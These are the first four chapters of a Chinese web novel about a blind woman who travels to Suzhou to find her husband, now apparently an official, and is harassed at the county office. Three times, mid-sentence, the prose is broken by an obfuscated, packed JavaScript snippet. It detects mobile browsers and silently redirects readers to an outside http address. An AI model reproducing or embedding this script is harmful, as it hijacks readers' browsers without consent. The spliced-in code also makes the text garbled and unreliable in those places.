《误欢情》 1. 第001章 春雨淅淅沥沥地下着,运河上水雾空濛,两岸山野褪成淡青的剪影,只余一片沙沙的细密潮声。 烟波浩渺中有一艘客船独行。 柳絮站在甲板上,一手撑伞,另一只手握着一根青竹杖,面朝着河流的方向静静远眺。 一阵风吹过,伞沿微斜,细细的雨丝被风吹到了手背上,她感觉到沁人的凉意,还有随风而来的草木泥土芬芳。 她握紧了伞柄,一双如蒙雾的空洞美目露出些惆怅之色。 想必是极美的景色,可惜她看不见。 然而过去她眼睛是正常的。 那是两年前的初冬,她嫁给齐阭刚三个月,为了给他凑进京赶考的盘缠,便上山去采冬凌草卖钱,哪知不慎一脚踩空,滚落到山坡下磕伤了后脑。 待她醒来,眼前便只剩下一片黑暗虚无。 夫君得了消息,急匆匆从县学赶回,带她寻医问药。 她喝了一碗又一碗苦涩的汤药,扎了无数银针,可双目始终不见起色。 春闱在即,她看不见夫君的脸,只能听到他素来清冷的声线越来越沉,变得少言寡语。 有天深夜,她摸索着打开屋门,唤了好几声“夫君”却无人应答,过了好一会儿,他才突然开口:“我不去京城了,留在家里照顾你。” 她站在门框边,指甲陷进木框的缝隙里,鼻尖酸涩难抑。齐阭同她自小一起长大,从垂髫到总角,从总角到结发,他性子虽冷清寡言,待她却向来是极好的。 所以柳絮拒绝了。 春闱三年一度,错过便需再等三年,她不能让他为了自己困在乡野,甚至可能耽搁蹉跎一生。 还记得齐阭走的那天是个晴天,她站在院门口,听着他的脚步声渐行渐远,又猝然折返。 他紧紧把她拥入怀中,一字一句低声承诺,说定会金榜题名,荣归故里,带她去京城治眼睛。 这一等,便是两载。 春去秋来,七百多个日夜。 最初柳絮极不适应,眼中一片虚无黑暗,没有落点,仿佛有东西无限远,又似乎在咫尺的迷雾里,令她慌张。 她摸索着生火做饭,手不知被烫出多少水泡,也不知被门槛绊倒摔了多少回,浑身是伤。 齐阭母亲早逝,家中再无旁人,若非他临走前托付了族婶照应,隔三差五来帮衬,嫁到隔壁村的大姐偶尔送些米面吃食,探望一二,加上有两条大黄狗安家护院,柳絮恐怕很难撑到今日。 她托人写了许多信寄往京城,可除了最初三四个月收到过回信,后面便杳无音讯了。 时日一长,村里人便少了顾忌。 有些孩童会跟在她身后拍手唱“瞎婆娘,没人要”,有时她在河边浆洗衣裳,会被人冷不丁推搡落水。 闲言碎语也渐起,最开始只是背地里嚼舌根,后来便开始语重心长当她面说:“你家那口子啊,怕是在京城有了新人,早把你这个瞎婆娘忘干净了。” 大姐也唉声叹气劝她:“不如趁着年纪尚轻改嫁了吧,不然眼睛又盲,老了可怎么办?爹娘已经去了,我们管得了你一时管不了你一世啊。” 面对这些,柳絮默然。 她不信那个从小将她护在身后的小郎君会食言。 她咽下委屈,忍着伤痛,在无数个深夜里,探手抚摸着身旁冰冷的空枕,心头只有一个念想,夫君定会来接她。 直到隔壁县的张员外意图纳她为妾。 柳絮不想改嫁,更不愿做妾。 于是性子素来软弱的她,萌生了孤注一掷的念头。 她卖了家里的驴子和老母鸡,将家中两条黄狗牵至族婶家,托付些铜板与半袋粮食,又让人做了一身男装,将仅剩的银钱摸索仔细缝进衣襟,备好干粮,搭上一位走买卖的小商贩的便船,趁夜离开了家乡。 那小商贩叫云英,是个利落爽快的姑娘,常年扮作男儿跑买卖,走南闯北,见多识广。 云英听说她要上京寻夫,二话不说便应了,只收了一点船钱,路上还处处照拂。 从温州出发,在运河上行了十余日,船即将抵达苏州。 雨势渐渐小了。 初春的天依旧寒凉,柳絮握伞的指节冻得微微发红。 正出神想事,身后忽然传来一阵熟悉的脚步声,她微侧过脸,在来人还未出声时便先开了口。 “英娘。” 云英一身藏蓝短褐,头发高高束起,腰间系着条牛皮带,神采英气。 她走到柳絮身边,伸手拍了拍对方的肩膀,毫不客气地挤到伞下,凑过来笑道:“又想你那夫君呢?” 柳絮睫毛颤了颤,轻轻嗯了一声。 云英想说什么安慰的话,可话到嘴边转了两圈,实在想不出什么太好的,索性干脆利落转了话头。 “一会儿就到苏州了。”她伸手往前方虚虚一指,语气里带着兴致,“你自小老老实实窝在乡里,怕连温州城门都没进过几回,这下好了,直接来了苏州,今日定要好好逛逛,这可是顶顶热闹的地界!” 柳絮抿唇露出一抹浅笑,点头应了。 等出了苏州后一路北上,渡长江,过淮河,云英说约莫再行月余,便可抵京。 到了京城,或能打探到夫君的消息。 她想,夫君定有难言之隐。 齐阭那样的人,素来君子端方,言出必行。书院里的先生夸他品行端正,村里的长辈们也说他是个靠得住的后生。 和她一起长大的人,自己怎会看错? 片刻后,船身微微一顿,靠岸了。 码头上人声鼎沸。还有不知哪家铺子飘来的炊饼和茶香。 云英的伙计们忙着卸货换船,柳絮和她并肩走在苏州的街巷里。 柳絮一手撑伞,一手用青竹杖点着地面,杖头敲在青石板上发出清脆的笃笃声。 她耳朵微微侧向街市的方向,一路走一路听。 伙计们扯着嗓子揽客,铁匠铺里叮叮当当的打铁声,还有货郎挑的扁担吱呀吱呀的响,以及不知道是哪里飘来的各式各样的气味。 不知道京城是否也是这般热闹?夫君现在在做什么呢?甚至……尚在人世? 柳絮不敢多想。 云英在一处酒楼前停下脚步,抬头看了看招牌,说:“先吃饭吧。” 柳絮摸向腰间的荷包,没有犹豫便解下来往云英手里递,轻声说:“英娘,这顿我来,你一路上……” 话没说完,荷包就被人一把塞了回来。 云英笑了一声,往她肩膀上拍了一记,调侃道:“你那三瓜两枣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496420|202525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的装什么阔,收起来收起来!等到了京城,有你花钱的地方。” 柳絮脸颊微微泛红,握着荷包的手指蜷缩了一下,心头发暖。 她垂眼低低说了声“谢谢”,把荷包仔细收回怀中,心想等以后定会报答英娘。 云英拉着她在一张桌边坐下,点了几个小菜,伙计不一会儿就端来了。 柳絮摸索着拿起筷子,手指在碗沿上摸了摸,确定位置,慢慢夹了些饭菜送入口中。 大堂里很是喧闹。 邻桌几个男子在谈茶叶的价格,不远处有个年轻男人说今年的雨水太多,怕要涝了庄稼,收不了多少粮,还有对夫妻低声拌嘴。伙计端着托盘在木桌之间穿梭,脚步又急又碎,嘴里喊着“借过借过”。 声音像河水一样流过她的耳朵,柳絮似乎能通过这些拼凑想象出画面。 忽而,她听到了一个很不一样的声音。 是两个汉子在说话,他们似乎坐得有点远,声音压得极低,像是怕被人听了去。 可声音越低,就越像一根细细的钩子,钩着她的耳朵不放。 “你听说了吗?今晨来了个新知县。” “知道知道,叫什么宋……宋什么来着?” “宋阭。” “对对对,就这个名儿!我还听说啊——”那人故意拖长了声调,带着几分神秘,“这新知县,就是长平侯府新认祖归宗的公子,原先似乎姓齐,后来才改回的宋姓。” 柳絮怔怔听着,手中的筷子忽地从指间滑落,“啪嗒”一声撞在桌沿,又弹了一下,滚落在地。 她听不清后面的对话了。 像是有河水倒灌入耳,把所有的声音都变成一片浑浊的轰鸣。 云英看见他脸色惨白,放下筷子正色道:“絮娘,你怎么了?哪里不舒服吗?” 柳絮唇瓣翕动着,侧过脸转向云英发声的方向,眼中有水光微微晃动。 好一会,她才干涩着嗓子说:“我,我听到有人说,阿阭做了此处的知县。” 云英愣了愣,随即反应过来,立刻道:“你别急,天下同名同姓的人多了去了,说不定是同音呢,你就在这儿等着,我去找人打听打听。” 她站起身,看着柳絮柔婉的面容苍白,又俯身拍了拍她的手背,放缓语气安慰:“放宽心,我马上回来。” 脚步声很快远去。 柳絮坐着,周围的声音像是闷在一个罐子里,模糊不清。 她咬着唇低下头,心中反反复复念着一句话。这里这么吵,或许只是听错了,就算没听错,也可能是同音。 阿阭断然不会抛弃她的,一定不会的。 不知过了多久,一阵急促的脚步声传来,随即旁侧的凳子被拉开。 柳絮抬起脸,神情期盼又慌乱,两种情绪交织在一起,手指紧紧攥着衣摆。 云英看到她这副模样,话到嘴边又咽了下去。 她倒了一杯茶仰头灌下去,才斟酌了措辞,一口气说完:“我刚刚问了些人,还去府衙对街的铺子打听了一番,今早吴县确实来了个新知县,叫宋阭。” 吴县是苏州府主辖县,县衙就在苏州城。 柳絮摸索着握住她的手,语调急切慌乱:“那他可是长平侯新认回去的公子?从前姓齐?” 2. 第002章 云英看着她那副样子,心中不免恻然,点了点头,旋即又想起来她看不到,便轻轻“嗯”了一声:“传言说他死去的生母姓齐。” 柳絮神情茫然了一瞬,似乎是不愿意接受这个结果。 生母姓齐。是了,阿阭五年前去世的娘亲的确姓齐。 他也说过自己跟娘姓,生父早亡。 柳絮握着云英的手无意识缓缓松开,眼泪大颗大颗从无神的双目滚落。 云英看她这般戚戚,拿出帕子手忙脚乱替她擦眼泪,干巴巴安慰:“传言罢了,做不得真的。你也知道,闲言碎语传最快了,今日说哪家丢了鸡鸭,明日就能传成那家有人偷|情。” 柳絮接过帕子按在眼角,帕子很快湿了一大片。 她红着眼,哽咽断断续续说:“是……是这样吗?” “是这样的。”云英咬了咬牙作承诺:“你别哭了,大不了我花些银子,替你找府衙的衙役打听打听,那些人成天偷偷在门房里吃酒赌钱,嘴最松了。” 柳絮啜泣了一会,擦了擦眼泪,轻轻摇头:“英娘,谢谢你的好意,你是个好人。” 她把手里的帕子攥紧掌心,声音虽然还有点发抖,却比方才稳了许多:“我已经麻烦你一路了,此番绝不能再给你添麻烦。” 一个小商贩,去打听新任县太爷的私事,弄不好就要被怀疑居心叵测。若是被人拿住把柄,扣一个窥伺官长的罪名,那麻烦就大了。 云英是做买卖的人,很可能会被衙役恶意勒索。 她怎么能因这私事,让人家担这样的风险。 更何况云英已经帮她太多了。 她欠下的这份情,尚不知如何还,哪里还能继续耽搁麻烦人家。 云英皱了皱眉,直说小事一桩。 柳絮一直摇头,神情虽然温柔,态度却十分坚决。 云英无奈,最后又喝了口茶,问道:“那你打算怎么打听?” 柳絮沉默了一瞬,垂下眼低声道:“我先留在苏州,慢慢打听。” 她囊中羞涩,身上这些银钱还是卖了家里的驴子换的,拿不出银子去疏通关节,唯一能做的,就是亲自去县衙问上一问。 她一个穷酸瞎子,拄着盲杖摸到县衙门口,那些衙役不会起什么疑心,也不会起勒索的心思。 可这事不能让云英知道。 云英闻言沉默了一会,终于叹气答应:“好吧。” 她确实也没法继续逗留,交货有期限,迟一天便有一天的罚银,她赔不起。 可柳絮性子柔弱,眼睛又看不见,留在这人生地不熟的苏州,若那知县真是齐阭,且肯收留她还好,若装傻不认,甚至痛下杀手,柳絮又该如何是好? 云英是个热心肠,最重要的是小时候柳絮曾对她有一饭之恩,明明自己吃不饱,瘦得像小猴子,还要把饼子偷偷塞怀里带给她吃。 有这样的恩情在,如今她不可能不管不顾。 她衡量了一会,做了决定:“这样吧,我先去兖州交货,大概两个月后回乡,届时还会路过苏州,倘若你认错了人,就随我一道回温州老家。” 柳絮感激不尽,重重点头。 云英带着柳絮找了家靠谱的客栈,和掌柜交代了很久,又要了一间客房,把人安顿好。 走之前,她检查了门窗,把贴身匕首塞给柳絮,又悄悄往她包袱里塞了几枚碎银子,才辞别离去。 柳絮坐在床沿,听着脚步声一点点远去,直至消失,人前强撑的冷静顿时土崩瓦解,伏倒在被褥上低声啜泣起来。 幼时父母偏疼二哥,她五六岁便开始干活,割草喂牛,七八岁便和大姐一同洗衣做饭。 她性子向来软弱,大姐在时尚好,可大姐比她大得多,嫁人后村里孩童便总欺负她。 是阿阭出现护着她,偷偷塞吃的,带她去山野采果子,送她第一支簪子,给她画象,洞房夜一声声柔和唤絮娘…… 桩桩件件回忆在脑海翻涌,柳絮的眼泪几乎流干。 过了很久,她抽噎着爬起来擦掉眼泪,摸到床边的竹杖,站起了身。 她不信。 不管真相如何,她定要亲自去问个明白。 —— 雨不知何时又开始下,细如牛毛织连着天地。 柳絮撑着伞,拿着青竹杖,沿着长街一路走,一路问。 街边的声音繁杂,她问了好多人,害怕被骗会再三确认,并且婉拒好心人的引路,小心谨慎寻路。 走了很久,耳边的人声渐渐稀疏,竹杖似乎撞到了石阶的边缘。 应该是县衙到了。 她听到台阶上方有两个男人说话,声调懒洋洋的。 台阶上的说话声突然停了。 几个衙役正窝在门廊底下躲雨,百无聊赖扯闲话,听见点敲击声后,其中一个偏头往下看,就透过弥漫的雨幕看到个身着青衣身影。 乍一看还以为是个书生,再一看,那张脸虽然隔着雨幕有点模糊,却看得出眉眼清丽,只是眼睛空洞望着前方,似乎看不见。 “干什么的?” 问话的衙役将柳絮上下打量一番,目光从她柔美的脸落在粗布青衣上,又从手上的竹杖滑到她沾泥水的鞋面,嘴角往下一瞥。 柳絮不敢贸然上去,攥紧了竹杖,深吸一口气询问:“各位官爷,民女是从温州前来寻亲的,想向各位打听个人。” “去去去,找人还找到县衙来了,谁给你的胆子?” 声音从上方落下来,十足十的不耐烦。 柳絮肩膀微微一缩,脚下退了半步。 普通老百姓没有不怕官差的,更何况她这种乡野出身的。 可她不能走。 柳絮咬了咬下唇,强撑着朝有声音的方向道:“各位大哥,我听说我夫君在贵衙任值,故特来一问。” “我夫君叫……” 话才说了一半,便被一阵笑声打断。 那衙役和同僚对视一眼,露出个促狭的笑,往前踱了两步,居高临下看着台阶下的盲女,调笑道:“呦,你这小娘子忒有意思,找相公找到县衙来了?” 旁边一个瘦高个衙役也凑过来,抱着手臂倚在柱子上,笑嘻嘻接话:“就是就是,你倒是说说,你那夫君长什么样啊?是高是矮,是胖是瘦?” 先前那个衙役笑得更厉害了,压低嗓子用一种暧昧的语气道:“这样,你且进前来,摸摸哥几个,看看哪个是你相公啊?” 话音落下,台阶上传来一阵不怀好意的哄笑。 笑声穿透雨声钻进柳絮耳朵里,像一根针扎了进去。 她白皙的脸腾地烧起来,脚下又退了半步,气得竹杖在手里微微发颤。 说起来也可笑。 这两年在村里,她没少被那些破皮无赖言语戏弄。有人在她打水时凑近了说话,在她路过时悄悄跟着扯她衣角,甚至会故意说些不干不净的话看她的反应。 若不是院子里有两条狗,家里的院墙又高,她还不知道会如何。 她从最开始羞愤欲死,到后来充耳不闻,中间不知道偷偷掉了多少泪。 若不是这些经历,换做过去的她,此刻或许已经哭着跑走了。 她抿紧唇,把涌到喉咙的酸涩硬生生咽下去,才鼓足勇气颤抖着开口:“我……我真的是来寻夫的。” “我听说新来的县太爷名唤宋阭,原先姓齐,可对?” 笑声戛然而止。 门廊底下变得安静,雨声显得更大了。 几个衙役互相看了一眼,脸上的嬉笑消失不见。 柳絮感觉到不对劲,心猛跳了一下,急急上前一步,竹杖点在第一级台阶上,声音焦急:“劳烦大哥们通传一声,就说、就说柳絮前来寻他,想问问他为何……” “住口!”一个衙役厉声打断她:“我们县太爷的名讳是你能喊的?他是你说想见就能见的?” 另一个衙役也跟着呵斥:“赶紧走!再不走哥几个可不客气了!” 柳絮被这突如其来的厉喝吓得肩膀一抖。 她心跳急乱,胸口想被石头压住喘不过气来,脸色发白。 可她收回了想要逃跑的脚步。 她哆嗦着把手伸进怀里,摸出一个小荷包,从里面拿出几枚铜板来,迈步踏上台阶。 竹杖点在石阶上发出笃笃笃的声音。 柳絮磕磕绊绊上去,走到声音传来的方向, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496421|202525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸出握着铜板的手。 “大哥们行行好,”她哽咽着,泪水在眼眶里打转:“行个方便吧,求求你们。” 几个衙役低头看了眼她掌心的铜板。 五枚,颜色陈旧,磨得光滑,或许攒了很久很久。 最先开口的衙役别过脸去,不耐烦“啧”了一声。 另一个沉默了一下,再次冷下脸厉声呵斥:“去去去,别在衙门口生事,你是不是想进大牢里蹲着?” 几个人里有个年纪稍青的,一直没怎么说话。 他看着眼前盲女哀婉的脸,终究没忍心,解下腰间的佩刀,倒转过来用刀鞘抵住她的肩膀,轻轻把她往台阶下推。 “赶紧走吧,这里没有你要找的人” 宋大人乃是侯府公子,且师爷那日吃酒时透露传言对方已经和郡主定亲,或许用不了两载就会调回京城成亲,此番来只是镀点政绩。 这话也就衙门里私下传传,虽不能往外说,但八九不离十是真的。 侯府公子怎么可能有个糟糠盲妻? 就算有,也不能有。 刀鞘抵在肩膀上,带着巧劲儿,柳絮被推得脚下踉跄,竹杖在湿滑的地面上连点了几下才稳住身形。 她被推着继续跌跌撞撞往后退,直到脚后跟踩到平地上,身子晃了晃。 衙役送了刀鞘要走,柳絮不肯,也不知道哪里来的勇气,松开竹杖,摸索着一把攥住了刀鞘。 竹杖掉在地上发出细微的声音,衙役愣了一下,转身看过去,就见盲女清丽的脸颊上淌满了泪水,手指攥得发白。 “大哥……”她声线发闷,强咽下泪水继续问:“你是不是知道什么?求你……求求你告诉我吧。” 那衙役沉默了,张了张嘴什么都说不出来,最后只叹了口气。 “回老家去吧。”他拍了拍她的肩膀,神情怜悯:“不要再来了,也不要再去问。” 柳絮不甘心,手指固执地不肯松开刀鞘,雨水斜吹进伞里,打湿了她的发丝。 她一直胆子很小,怕打雷,怕黑,怕生人,怕给人添麻烦。 可此时心中的绝望不甘压过害怕,只一心要个可能并没有什么意义的结果。 “大哥,我从温州一路搭船过来,好不容易才到苏州……我只想知道他是不是在这里。我只想问问他,为什么两年了,连一封信都不给我……” 她的声音在雨水中颤抖,眼泪如泉涌出,目光空洞朝着一个方向,是盲人才会有的状态。 话说完,大门里走出一个衙役来。 这人面白无须,生着一双吊梢眼,一看就不好相与。 他站在台阶上往下扫了一眼,看见同僚被一个盲女攥着刀鞘不放,登时眉头倒竖,噔噔噔几步走下台阶。 “你磨蹭什么呢?属龟的?”他一面劈头盖脸骂同僚,一面伸手推在柳絮肩膀上,“让这瞎子在衙门口逗留纠缠,小心你我吃不了兜着走!” 柳絮只觉得肩膀猝不及防被一股大力一搡,脚下本就站在湿滑的地面上,整个人顿时瞬间失去平衡,仰面往后倒去。 油纸伞从手中脱落,在雨里翻了个转,落在地上被风一吹,咕噜噜滚出去老远。 她摔在地上,泥水飞溅到脸上身上,冰冷的雨也从高空劈头盖脸砸在脸和手背上。 柳絮趴在泥水里,肩膀微微耸动着,雨水和泪水一起淌下来,发丝和衣裳都湿透了,手掌和膝盖也蹭破了皮,火辣辣的疼。 可这点疼和心里的绝望比起来,什么都算不上。 她不是傻子,这还有什么不明白的呢? 这些衙役的态度,已经能说明一切了。 她无法再继续哄骗自己。 齐阭就在这道大门里,也许正在后堂翻阅卷宗,也或许在喝茶休息,说不定还知道她狼狈摔在泥地里,只是漠不关心。 她流着泪,咬了咬牙挣扎着要爬起来。 就在这时,淅淅沥沥的雨声中传来一阵模糊的脚步声,由远及近,最后停在她面前。 头顶的雨消失了,她听到了衣裳摩擦的轻微声响,随之一只温热的手掌隔着衣袖握住了她的手臂,将她轻轻拉起。 “还好吗?” 3. 第003章 那人的声线清润低沉,混在雨水中像冷泉流玉,格外悦耳动听。 台阶上的衙役们见此情景一愣,随即打量起阶下的男人。 来人湖蓝织金绸衫,绣纹讲究,执伞的手指白皙修长,微倾的伞沿下露出一张风流倜傥的脸来。 长眉俊目,瞳仁如墨,眼尾微微上挑,唇角似翘非翘,天然带着点笑意,让人分不清是嘲弄还是亲近,有种漫不经心的矜贵。 那双狭长的凤目斜睨了吊梢眼衙役一眼,虽无甚表情,却让对方瞬间白了脸。 吊梢眼衙役离得近,最先猜出来者身份,登时白了脸,躬下身结结巴巴唤:“大、大大大大人!” 其余衙役也如梦初醒,慌忙奔下台阶,围拢上前,个个垂手躬身,头埋得极低,惶恐的声音此起彼伏:“大人!” 他们怎能不惧?眼前这位,正是即将上任的正六品管粮通判,齐昀。 齐昀是何许人也? 长公主之子,荣国公府小公爷,实打实的天潢贵胄,生而不凡。他颇得圣宠,十岁被正式册封为世子,走到哪儿都是前呼后拥,所有人都要被恭恭敬敬称一声“世子爷”、“大人”。 一月前,齐昀在朝堂上用笏板砸伤了户部郎中,非但不赔礼,反倒悠哉哉在乐坊听了五六日曲儿。 皇帝为此气得不轻,第二天就把他一道圣旨贬官丢到了苏州。 然而明眼人都心知肚明,圣上岂真舍得让这唯一的亲外甥吃苦?分明是遣他到这富庶之地赚些政绩,待回京时,便可顺理成章擢升。 他们方才竟叫这位爷瞧见了推搡盲女倒地。 律令明文禁止官吏下乡扰民、欺压乡里,违者轻则笞杖,重则革职。这位小公爷身负监察之责,再者传闻中他性子纨绔妄为,若对方以此事为由,新官上任三把火,治他们一个“欺压乡民、有损官声”的罪名,他们这身皂皮怕是要被扒个干净! 一想到可能的后果,几人衙役们心中叫苦不迭,不是说这位爷明日才到么,怎的孤身一人,连个护卫随从也无?况且他堂堂通判不去府衙,来县衙作甚? 柳絮听到那声询问后,不知是不是错觉,总觉得这人的声线和齐阭很像。 而且在县衙门口,能让衙役们惶恐称大人的,想必便是传闻中新官上任、让她苦等两载的夫君齐阭。 思及此处,站稳后她顾不得自身狼狈,睁着空洞的眼睛,急切伸出手摸索着轻轻扯住了对方的袖摆。 齐昀难得有几分同情心,随手扶起盲女后,未理会那几个噤若寒蝉的衙役,举步便欲入县衙。 岂料刚迈出半步,袖口忽地一紧,身后传来一声带着细弱哭音的探问。 “阿阭,是你吗?” 女人嗓音带着江南女子特有的腔调,清软柔婉,丝丝缕缕顺着雨飘了过来。 齐昀心尖跟被羽毛扫了一下似的,脚步立时一顿。 他微微侧首,目光落向身后的女人。 雨烟迷蒙中,她浑身湿透,乌黑的发丝蜿蜒贴在莹白脸颊上,唇瓣如沾露花瓣,脸上湿漉漉的,分不清是雨还是泪。 像风雨中伶仃带露的杜若花。 尤其那柳眉下的一双眼,柔润如浸在夜雾里的朦胧湖泊。 可惜空洞无神,是个盲的。 齐昀端详着她柔美的脸庞,目光又落在她扯着袖摆的手指上。 细白的指尖轻轻发抖,看起来似乎真挺胆怯的。 他施施然收回视线,眼底浮现几分兴味。 阿阭? 在县衙门口,又唤的是这名,这是把他认成宋阭了? 好一个柔弱堪怜的小娘子,竟这般“巧”撞到了他眼前。 柳絮虽目不能视,却清晰地感知到那人的目光正落在自己身上。 “……阿阭,夫君?” 没得到回应,她又鼓足勇气小声唤了一次,叫夫君的声音几乎是气音。 她既怕认错了人空欢喜一场,更怕认对了却遭冰冷抛弃,纤细的身子紧绷着,连呼吸都屏住了,只等一个回应。 可那人却半晌一言不发,只有雨声哗哗作响。 她那点微薄的勇气在沉默中散了个干净,咬了咬下唇,指尖的力道一点点松开,任那截软滑的衣料溜走。 齐昀听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496422|202525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那声细柔的“夫君”,长眉一挑,兴味盎然地无声打量她的神情动作。 柳絮全然未觉。 她失落地垂下眼,正欲赔个不是,头顶忽然传来一声“嗯。” 柳絮怔了一瞬,蓦然抬起了脸,雨珠从她长睫滴落。 她几乎不敢相信自己的耳朵,又试探着小声唤:“阿阭……?” 齐昀起了逗弄的心思,再次故意不应,凤目微垂瞧她的脸。 她睫毛挂着雨珠,一颤一颤的,望来的视线有点偏,没落在他脸上。 也不知真盲假盲。 齐昀唇角微微动了一下,似笑非笑,又懒懒“嗯”了一声。 这一声回应,让柳絮紧绷的肩膀一松,巨大的委屈和欣喜令眼眶阵阵泛酸,泪水又决堤似的涌了出来,顿时泣不成声。 她有好多话要说,想问他这两年究竟去了何处,为何音信全无?想问他既然来了苏州为官,为何不肯往温州捎一封信,哪怕只是只言片语?或是回去看她一眼? 可千言万语涌到喉间,却干涩地一个字都说不利索,最终只抽泣着说:“阿阭,我好想你,你为何……” 话没说完,一阵耳鸣毫无征兆袭来,柳絮感觉到黑暗中天旋地转,脚下虚软如踩棉絮。她身子晃了晃,再无力支撑,整个人便软软地向前栽倒,彻底坠入了无边的黑暗。 齐昀下意识伸手一揽,手臂微沉,温软的女体跌入怀中,带着雨水的冰凉湿意。 掌下触及的腰肢纤细柔软,鼻息间随之钻入一股若有若无的草药清香。 垂眼看去,女子双目紧闭,苍白的脸贴在他胸口,看起来娇弱可怜。 齐昀目光从她脸上移开,落在自己衣襟沾染的污泥指印,眉心蹙了一下,脸色由晴转阴。 有衙役觑见他神色不对,壮着胆子上前一步,欲献殷勤请他入后堂更衣。 齐昀瞥了他一眼,抬了抬下巴,随意点了两名衙役。 “扶着。” 两名衙役一愣,赶忙扶去,一左一右架住了柳絮。 齐昀目光在她脸上顿了顿,徐徐开口:“把她送到我别院。” 4. 第004章 对他这样的人而言,世间哪有如此巧合?前脚刚贬至苏州,后脚便有个与宋阭似乎有瓜葛的盲女摔在眼前。他倒要看看,这盲女究竟是谁派来的。 语毕,他提步便向县衙大门走去。 衙役们面面相觑,自然以为是对他们的吩咐。年长些的扶着柳絮,眼见齐昀的背影即将消失在门内,才后知后觉想起顶要紧的事,慌忙喊道:“大人留步!您别院在何处啊?” 雨声嘈杂,县衙大门已合上一半。衙役无奈,正想着先将人扶入门房避雨,肩膀却忽地被人从身后拍了一下。 他吓了一跳,回过头去。 身后不知何时多了一个人,穿着一身蓑衣,头戴斗笠,帽檐压的极低,只露出下半张脸,浑身上下透着股子煞气。 衙役不由自主往后退了半步,刚说了个“你”字,那人便开口了。 “把她给我。”声线平直冷漠。 衙役这才恍然,方才齐昀吩咐的应是此人,忙不迭将昏迷的女子递了过去。 那护卫伸手接过,随手往肩上一扛,足尖轻点,如一只灰褐色的雨燕,迅疾消失在茫茫雨幕之中。 —— 柳絮不知道自己在黑暗中跋涉了多久,直到前方突然出现一道刺目的光团,迫使她抬手遮挡。 光?她不是瞎了吗? 惊疑间她放下手臂,视野猝然汹涌灌入绚丽夺目的色彩。 春光漫溢,草长莺飞,如洗碧空倒映在粼粼河面。 未及细看,周遭景物骤然扭曲。 下一瞬,冰冷的河水浸湿了裙角。柳絮愣愣低头,发现自己正蹲在河边,手里拿着木杵,面前石头上是洗了一半的衣裳。 好熟悉的场景。河水泛着圈圈涟漪,碎金般的光斑晃得她眼睛发酸。 思索间,头顶忽地落下一片阴影。 柳絮一惊,手中木杵险些滑落河中,猛地扭回头去。 清隽的少年逆光而立,半旧的青衫在春风中轻轻拂动。 柳絮认出了人,眼睛一亮。 是少年时的齐阭。 他眉眼含笑,掌心温热,将一支雕着桃花的木簪轻轻簪入她发间。 “絮娘,及笄快乐。今朝礼简陋,来日……定当补你更好的。” 她捧着那抹桃色仰头。少年的身影在跃动的光河中摇曳,身后绿浪翻涌,如梦似幻。 柳絮喉头哽咽,正欲开口,眼前的景物却又扭曲起来,少年身后绿草如茵的河岸像被一只手撕开,裂成了一片沉沉的暗色。 面前的少年褪尽青涩,化作锦衣青年,眼神漠然。 “絮娘。”青年薄唇轻启,吐出的话凉薄如雪:“你我云泥之别,绝无可能。” 柳絮面色惨白,不等她问为什么,心口便一阵寒凉刺痛。愣愣低头看去,只见一柄剑贯穿了她的心口,大片血迹在白裙上洇开,与他当年赠与的簪上桃花,诡异地交叠重合。 青年飘渺的声音,如附骨之疽萦绕耳中: “絮娘,莫怨。怨只怨……你不该来,怨你这卑贱的出身。” …… 柳絮蓦地睁开了眼睛,眼前是一片漆黑虚无。 她大口大口喘息,心脏处似乎还残留着梦中被剑贯穿的凉意,手不由自主捂上去,感受到掌心下紊乱急促的跳动。 是梦。 自从两年前患了眼疾,她便只有梦里才能视物。 不知过了多久,呼吸渐趋平缓。鼻尖萦绕着清雅的香气,身下被褥柔软温暖。混沌的思绪彻底清明,昏迷前的一幕幕如潮水般涌入脑海。 大雨滂沱,县衙,衙役…… 还有……她找到阿阭了! 柳絮立刻摸索着掀开被子坐起,试探着轻唤:“阿阭?” 无人应答。 她又稍提高些声音唤了一声。 片刻后,门“吱呀”一声轻启,一阵轻巧的脚步声由远及近。 “姑娘,您醒了?可还有哪里不适?”床边传来一个年轻姑娘的声音。 柳絮循声侧过脸,拘谨问道:“你是……?” 那姑娘笑语盈盈:“奴婢是这儿的丫鬟,姑娘唤我穗儿便好。” 柳絮轻轻点头,心头却掠过一丝黯然。 穗儿唤她“姑娘”,意味着阿阭并未向她们言明彼此的关系。 方才那场梦魇的寒意又悄然爬上心头。 穗儿正好奇打量柳絮的眼睛。 她生得很美。柳眉秀鼻,唇如花瓣,睫毛又浓又密,皮肤也很白,的确是个娇滴滴的美人。 只可惜,那双本该顾盼生辉的眸子,空洞无神。 